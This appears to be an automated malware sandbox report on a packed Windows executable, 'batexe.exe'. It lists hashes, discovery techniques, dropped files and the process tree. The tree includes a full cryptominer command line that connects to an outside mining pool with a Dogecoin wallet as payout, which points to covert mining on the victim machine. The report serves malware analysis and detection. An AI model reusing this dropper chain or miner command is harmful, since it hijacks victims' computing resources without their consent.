73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 12:02

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2492	b2e.exe
1728	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1728	cpuminer-sse2.exe
1728	cpuminer-sse2.exe
1728	cpuminer-sse2.exe
1728	cpuminer-sse2.exe
1728	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/960-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 960 wrote to memory of 2492	960	batexe.exe	89
PID 960 wrote to memory of 2492	960	batexe.exe	89
PID 960 wrote to memory of 2492	960	batexe.exe	89
PID 2492 wrote to memory of 2352	2492	b2e.exe	90
PID 2492 wrote to memory of 2352	2492	b2e.exe	90
PID 2492 wrote to memory of 2352	2492	b2e.exe	90
PID 2352 wrote to memory of 1728	2352	cmd.exe	93
PID 2352 wrote to memory of 1728	2352	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:960
- C:\Users\Admin\AppData\Local\Temp\5CB6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5CB6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5CB6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5CB6.tmp\b2e.exe

Filesize
10.8MB

MD5
d33dc79327933a2087d4310dc9f0677c

SHA1
612f95b39cf2c5e1e63c0c64073e265995acbdd3

SHA256
a18acaff45557cdad35e234528ac1861b2412750ff11b2ee38023d478d284d1f

SHA512
055be8d98db7bcfac9b1c27e05de5217db767166619d0ab7dfdd66b6caaab305cbc3d390f40903dfa7f360e33acc5fbeafe94403f18ddcd0c9b2d2e41ed26e42

Download Submit
C:\Users\Admin\AppData\Local\Temp\5CB6.tmp\b2e.exe

Filesize
3.6MB

MD5
a202c43df284047b4026052f2015b382

SHA1
531129cc3cff7410080574b0fd1f8404c8c343d6

SHA256
22e0189ee48633fcbb780d8ce081c027adcfd289ce6b90e0dddf506b78a59a66

SHA512
03192f196ccd2100255c1fad56bd14019876f87509f7215f1af469e93a9e4a8686d7bd18a1273d46e05711d1017a87948b4299a6d4597fa66001b29ee310cea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\5CB6.tmp\b2e.exe

Filesize
4.4MB

MD5
5836d46e55171c3b25664c3c42702547

SHA1
33e6872ed755d3e42ede1ea7e92e14345ae8434f

SHA256
fb98f351df48f876ac7a21fb825731812ba1396a0109b11a853ed62b5c0b3ff7

SHA512
7ead011fd273eb054556b66192584ab913395556519009f3bb1593ee03ef6166d9b570aba3dea6d1b8c690b6ed9961cb65d932b16722b72fe2fedc8ae119b0c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
916KB

MD5
61594f4812f6f7da4693c3cf51866fe3

SHA1
c881f1a7f5e2bee826cbfae4a9aa8981e071c468

SHA256
021a6bbaf708bc9e8c8aef82050e522201b74d436020e1b6231b4b495c110dbe

SHA512
8ccac06d4fb9ea8b5260d79bec2c3f168b6cd82d070d5f75140db853a96a25deb5a45fe6b99bfbdd4623d3c75f4a0fd4d63a7899d3dd5f48759717f716626011

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.0MB

MD5
72cca940913c5c18f45109f687af4d47

SHA1
d0492d6fc91940363c609b67862a9a8c2936a5d3

SHA256
fb4c61f92c6b06311f699a5c6bbd78802d9febd30d22d30586f44b1ce6c18008

SHA512
2662109fec5c568be352502232602fef72fbb0fb570de3c620d1fc515b56e04baacf1d5e5e6b44431bd117b875c4f296670632354a2a6b40922374a9c1206e45

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
494KB

MD5
ef087e2eca882e54ae98303b0dfed545

SHA1
130be2fcc394521a18be0aa174d87e853991f9d2

SHA256
db89a80aca05c8f6d63abe7ded06b671c8ed9968eba7c2894223ec043457d6d6

SHA512
1d7fdadeea9ea46a148e53883dbfefd0cb42ee3a6b2a6d3f1ef7b873feb4877a9138b1879b56a4d390a7f18fd99dc635d44bbfdf984e45e8aa810b5323304e33

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
938KB

MD5
d4e7dbb2cb364511035d9eab666fd875

SHA1
588704f37eaa51a23f5274e171c201afdf9135f6

SHA256
d5c8202d8df85fdbc767f383a3b96e6b3e4c7891524ace69d7360ada3e06977b

SHA512
1c24586f342847a242037efb9387aa62edeaa670c99de815daf78260796060eab21d6249adbfeb44770bd20973ff12986184a27b99d0c1b2d1807125095181fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
344KB

MD5
ee028c7a7c26c425c93156f4bb3a0a40

SHA1
98081a6dfb708c79f169acb4f4b95057e8bb5ddf

SHA256
8edcc78988e501913e93b95a234e068ebc6506bb3aa56ef0f925cc9685209fcf

SHA512
4a58235cef05c124adcdfe42d64adce8af4c33b45e845339ec47e127299e34971262d54bcd038998fc7a9655d44e3f5854f5e50e68511118670e34f23c7949e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
882KB

MD5
486ce5a1e4de6cbfbdd5e99c70d5c08c

SHA1
ec3ad0a27268a5265056e40eeddd9f4670523e1b

SHA256
1d1dc472c97e234d66b9a406a1aca875f24293d754af250d982f4904eeabc895

SHA512
55b7a73b6de5dad8e1f4bb80b91d0a46576e925896da75e1c49911949b0b2541c8a51d527f6d260e2e1265f9d0acb4191dbd2d8d931dcd2e497e2d1adca94f7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
276KB

MD5
488bc7999ac1f0dde0dc942ab5fb9ade

SHA1
f8ded65ea922a2389c570dcbf4b7c0c1b027cf02

SHA256
089c6bbdc5f8fa3e076a2616982035414b5db01d136bfb52fb63fa043efe5f45

SHA512
270f1b2bab13820ace4621e6a99deffd04f17f2564ab941863e7060f4f61aa516f27a9efb1fb4b080311a3815cd40ba24fd0177efc5d813eccfe2e22ea85c460

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
181KB

MD5
ff9590d9c2a651f67cd709516aa540c8

SHA1
10052f0d8c8bae9a7fa7543a9bd53b3820a4c546

SHA256
f3457a39135b14fd2081f94fe38dbb8e7aee2c2ae2fe0e42bc78f050149f3b83

SHA512
8a7ed2cb18431b1f47eca02046992c46244639672ae7ff36a070cf82dcf9a814af45b2eef6c82468c255d1117f99ac1c92cd9f56e1e204dcd8dd515fc9ad1d32

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
327KB

MD5
827af015a5a514b8b0a2f4ad63648431

SHA1
0851bc2e7629d46e5d6bf745895921b211776824

SHA256
fc0c57e5aec23105c1523b5074c1c601da2e499fb9762b94ac57fec9167480ca

SHA512
237770f28a14a19a60a346b362badfca14bc5d986258394ad8bbba078481285d62d114f7255178da1081a615048f838a6925de6e0f466753e7e6e99a8eb47cf5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
484KB

MD5
ce30b151e7f5e33fe51b80e517b7a73f

SHA1
6e82333a1bcb4226f467b36ed27c828c8380f0f4

SHA256
6d6b1bd9909e055082f3ac7e42f035abd84eea4f7ac834e110744964a5370b71

SHA512
613a555a92973aee3e7a956210f042fd7665444905ce1cdb1a16aeb7141a7a4fae31519caa9e1681840105190ec3723bcb7a9bfd96a43a69422e9ec1ff0bffd9

Download Submit
memory/960-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1728-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1728-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-46-0x0000000072660000-0x00000000726F8000-memory.dmp

Filesize
608KB

Download
memory/1728-47-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/1728-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1728-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1728-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2492-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2492-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download